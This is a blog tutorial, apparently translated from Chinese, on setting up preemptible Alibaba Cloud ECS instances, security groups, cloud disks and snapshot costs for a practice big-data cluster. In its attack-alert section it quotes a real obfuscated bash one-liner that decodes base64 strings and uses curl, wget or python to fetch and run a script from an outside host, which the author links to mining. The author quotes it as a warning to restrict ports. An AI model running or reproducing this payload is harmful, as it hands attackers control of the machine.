[Alibaba Cloud] Take you through Alibaba Cloud ECS and cloud disks in 10 minutes (essential for big data cloud migration)

Preface

Since I am preparing to do some simulations of offline computing and real-time computing, I found that Alibaba Cloud in some tutorials is quite easy to use, so I would like to share the relevant experience with everyone here.

Simple mental journey: At first, the author built a local cluster. But later I found that because there was no network IP traversal, the network access of the local cluster was very inconvenient. Secondly, the start and stop of the cluster, network and disk management were very troublesome. , and, many times, the cluster is only used during the trial period. For this reason, I tried Alibaba Cloud's preemptive cluster method and found that this kind of use is very suitable for learning and research.

Of course, if you have stable hardware resources, you can also use a local cluster. Here is just a set of usage plans. [Because most of our machines are 16G, 32G. And there is no stable network environment. For Big data clusters often require 8G 3 16G 3 clusters, which always feels stretched.]

Alibaba Cloud machine purchase & related configuration construction

Prerequisite: Alibaba Cloud reserves 100R of funds. [Alibaba Cloud can only purchase preemptible instances if it exceeds 100R].

Enter the ECS console and create an instance
Then, here we choose a preemptible instance. In this way, it is charged based on time.
Select the relevant disk configuration and system configuration
Select 无确定使用时长(If you select 1 hour here, there may be a risk of being automatically released under certain circumstances.)
Select the corresponding number of machines required. (Here I choose 3 machines)
Choose the corresponding system. Here we recommend CentOS 7.xand Ubuntu系统, (if there is a need for other system specifications, there is definitely no need for me to talk nonsense here) (The author generally uses CentOS 7.6 system)
Select the disk. (Note, when we deploy the disk for the first time, we must release the non-incident instance here and check it.)
Select the corresponding bandwidth. We choose pay-as-you-go here. (Because it is for learning, the chance of accessing the external network is relatively small. You can choose according to your own arrangements here.)
Configure related system resources
Set appropriate password
Set the corresponding host name. If you purchase multiple machines at one time, you can set the construction method of certain names. Just follow the manual to set the corresponding name. (The author here sets it to hadoop[001,3]. I hope the names of the three hosts are hadoop001, hadoop002, hadoop003.) (If you don’t want to set it here, you don’t need to set it.)

Different instance names can be set for each ECS instance through the name_prefix[begin_number,bits]name_suffix format. For example: my_name[99,3]ecs. If you create 2 instances, the final generated names are: my_name099ecs, my_name100ecs. The value range of begin_number is [0,999999], and the value range of bits is [1,6]. View details >

Click to agree to the agreement
. Finally, you can temporarily rent and use three 2H8G cloud hosts at a price of 0.25. If your cluster requires higher memory or CPU, you can upgrade or downgrade the configuration after the initial purchase or purchase.
Then, we can see the three machines we purchased this time on the console list.

What is worth noting is that every time we purchase a machine, the internal network address and the external network address may change. (For this reason, , I won’t code it locally, heihei)

ECS machine related configurations

Network Security Group

It is worth noting that the network of each Alibaba Cloud machine only opens some default port numbers. The rest of the port numbers are not open by default. If you want to set it, you can go here to set it. (For example, if you install a mysql database, then you need to set port 3306)
Insert image description here

In addition, it is worth mentioning that if you only have temporary access, you can first query the external network IP of the current network through Baidu query, and then set it here. This can very well avoid related network attacks. For example, I

query My local IP address is 123.123.123.123, I only want to open port 22 or port 3306 for users related to this IP to access. You can configure it by referring to the above configuration.

Related IP attacks & alerts

In the process of using it, I received a text message like this from Alibaba Cloud, indicating that there was a vicious attack.
Insert image description here

/bin/bash -c if type curl >/dev/null; then echo Y3VybCAtZnNTTCBodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvYjJmNjI4L2guc2gK|base64 -d|bash|bash; fi;if type wget >/dev/null; then echo d2dldCAtcSAtTy0gIGh0dHA6Ly9raVxcc1xccy5hLWRcXG9nLnRcXG9ccC9iMmY2MjgvaC5zaAo=|base64 -d|bash|bash; fi;if type python >/dev/null;then echo cHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8va2lcXHNcXHMuYS1kXFxvZy50XFxvXHAvaC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d|bash; fi

After the command here curl, it looks like a string of garbled characters at first glance. In fact, it is encrypted through base64. I have had the experience of the machine being pulled for mining before, so I personally feel that it is better to be careful when setting the port here.

Mounting cloud disk

Insert image description here
If you choose it for the first time, the shutdown disk will not be released. (This setting is also so that we can quickly build the environment. Although it will cost some money, it is recommended to purchase 3 cloud disks in this way.)

As you can see, the interface for selecting cloud disks has three mounted cloud disks. These three are included with our application for the ECS machine this time.
You can also see that there are 3 unmounted cloud disks. The 3 cloud disks here were purchased by us before and are not mounted.

We can first enter the machine to check. For example, I log in to the machine of hadoop001.

[root@hadoop001 ~]# ls
[root@hadoop001 ~]# df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/vda1        40G  1.7G   36G   5% /
devtmpfs        3.9G     0  3.9G   0% /dev
tmpfs           3.9G     0  3.9G   0% /dev/shm
tmpfs           3.9G  424K  3.9G   1% /run
tmpfs           3.9G     0  3.9G   0% /sys/fs/cgroup
tmpfs           783M     0  783M   0% /run/user/0

You can see that the 100G cloud disk is not mounted here. At this time we choose to mount the cloud disk
Select the machine that needs to be mounted. (In addition, personal advice. )

···
[root@hadoop001 /]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/vdb1 99G 9.0G 86G 10% /
devtmpfs 3.9G 0 3.9G 0% /dev
tmpfs 3.9G 0 3.9G 0% /dev/shm
tmpfs 3.9G 444K 3.9G 1% /run
tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup
tmpfs 783M 0 783M 0% /run/user/0
[root@hadoop001 /]#
···

freed

Insert image description here

What is worth noting is that when releasing, you can choose to retain certain disks to prevent repeated operations in the future.

Set local host & set machine-related password exemption

For information about the settings of hosts on each system and the configuration of SSH password-free, please see the author's other articles.

Charge calculation related to cloud disk & snapshot & Ecs backup

Cloud disk

We use high-efficiency cloud disk. If it is 40G 3, the price is 14 3 = 42R. If it is 100G 3, the price is 35 3 = 105G.

Regarding the use of cloud disks. The main things we need to pay attention to are 1. Whether it is released with the instance. 2. The address and area of the cloud disk. This will be related to the mounted server.

https://www.aliyun.com/price/product?spm=a2c4g.11186623.0.0.23af62e4y2ebMe#/disk/detail/disk

Snapshot

Alibaba Cloud's snapshots are relatively useless. They can only be set for a certain cloud disk. However, if your cloud disk does not need to be used for a long time, you can take a snapshot and then release the cloud disk. This can reduce a certain amount of overhead. Alibaba The cloud disk is more convenient. The cloud disk will compress the content. For example, if your cloud disk is 100G and only 10G is used, then the image size will only be 10G, which will reduce a lot of overhead.

The price calculation of cloud disk is roughly as follows:

Billing example: Assume that there is a 100 GB snapshot in the Hangzhou area, then 0.016 yuan per hour and 0.4 yuan per day. 0.4 3 365=438.
Formula: (0.12 yuan/GB/month 100 GB 1 month)➗30 days➗24 hours≈0.016 yuan/hour.
https://help.aliyun.com/document_detail/56159.html?spm=5176.2020520101snapshot.usage.sizeRule.40b14df5aun6iw

Reference

[1]. [https://www.aliyun.com/] (https://www.aliyun.com/)